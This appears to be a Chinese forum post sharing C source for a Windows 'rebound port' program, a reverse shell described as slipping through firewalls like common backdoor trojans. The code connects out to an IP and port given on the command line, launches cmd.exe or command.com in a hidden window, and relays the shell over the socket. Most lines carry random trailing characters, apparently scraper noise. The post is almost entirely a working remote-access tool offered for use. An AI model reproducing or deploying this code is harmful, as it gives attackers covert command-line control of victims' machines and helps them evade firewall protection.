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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5pfYEofK[  
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/* ============================== I-kWS 4  
Rebound port in Windows NT 5wv fF.v  
By wind,2006/7 BEUK}T K4  
===============================*/ >&Y-u%}U  
#include U<^F4*G  
#include U\zD,<I9  
1_hW#I\'  
#pragma comment(lib,"wsock32.lib")  cG{L jt  
eM2|c3/  
void OutputShell(); Su7bm1  
SOCKET sClient; LHkQ'O0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1& ^?U{  
+.kfU)6@  
void main(int argc,char **argv)  U>a\j2I  
{ 0 ipN8Pg+  
WSADATA stWsaData; Hr^3`@}#1  
int nRet; g9~]s 9  
SOCKADDR_IN stSaiClient,stSaiServer; r|eZv<6  
@kxel`,$e  
if(argc != 3) IeP WOpj3  
{ ;j9\b9m  
printf("Useage:\n\rRebound DestIP DestPort\n"); > ' i  
return; 3I  $>uR  
} 9t$]X>}  
AXPMnbUS  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~Lz%.a;o  
tU :EN;H  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q%i-`S]}qL  
=5x&8i  
stSaiClient.sin_family = AF_INET; Lja7   
stSaiClient.sin_port = htons(0); !RH.|}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !h`kX[:  
{A:j[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h@ )  
{ -LW[7s$  
printf("Bind Socket Failed!\n"); g[[;w*;z  
return; 4vWkT8HQ  
} =d)-Fd2li  
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stSaiServer.sin_family = AF_INET; ] )}]/Qw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qk976  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t0)<$At6J  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [eUftr9&0  
{ fo0+dzazY  
printf("Connect Error!"); B9,^mE#  
return; \tN-(=T  
} E3aDDFDH  
OutputShell(); 7.g [SBUOG  
} )"+2Z^1-  
$?P22"/p  
void OutputShell() jE\Sm2G9  
{ _iV]_\0W2  
char szBuff[1024]; `bjizS'^  
SECURITY_ATTRIBUTES stSecurityAttributes; 0#cy=*E  
OSVERSIONINFO stOsversionInfo; S* *oA 6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; / JkC+7H4  
STARTUPINFO stStartupInfo; >>{FzR  
char *szShell; %9oYw9 H!  
PROCESS_INFORMATION stProcessInformation; O1'm@ q)  
unsigned long lBytesRead; 2lVHZ\G  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JW.=T)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C3NdE_E  
stSecurityAttributes.lpSecurityDescriptor = 0; \ZU1J b1c  
stSecurityAttributes.bInheritHandle = TRUE; }Gyqq6Aeb  
VVP:w%yW  
5L,}e<S$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sarq`%zrk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ',^+bgs5  
Uyx!E4pl(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~@.%m"<.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r.ZF_^y}+  
stStartupInfo.wShowWindow = SW_HIDE; j hbonuV_  
stStartupInfo.hStdInput = hReadPipe; )lk&z8;.=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0 &_UH}10  
j z58E}  
GetVersionEx(&stOsversionInfo); ?L&|Uw+  
$-}e; VZb  
switch(stOsversionInfo.dwPlatformId) z7GTaX$d  
{ \;u@"  
case 1: qt%D'  
szShell = "command.com"; b` Hz$8  
break; )B,|@ynu  
default: 1K,1X(0rL8  
szShell = "cmd.exe"; \^7C0R-hX  
break; OyV<u@[i  
} K"j_>63)  
VA *y|Q6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D^%^xq )E  
'R`tLN  
send(sClient,szMsg,77,0); Suk  
while(1) Sf5X3,Uw  
{ p~ HW5\4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;2'q_Btk4  
if(lBytesRead) Urr#N  
{ X3'H `/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h.O$]:N  
send(sClient,szBuff,lBytesRead,0); =0uAE7q(9  
} &nBa=Enf  
else J]f3CU,<N  
{ e@:sR  
lBytesRead=recv(sClient,szBuff,1024,0); _4^R9Bt  
if(lBytesRead<=0) break; l2N]a9bq@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iY"l}.7)  
} \%^%wXfp  
} ]BR,M4   
U!U$x74D5  
return; sBrI}[oyx  
}
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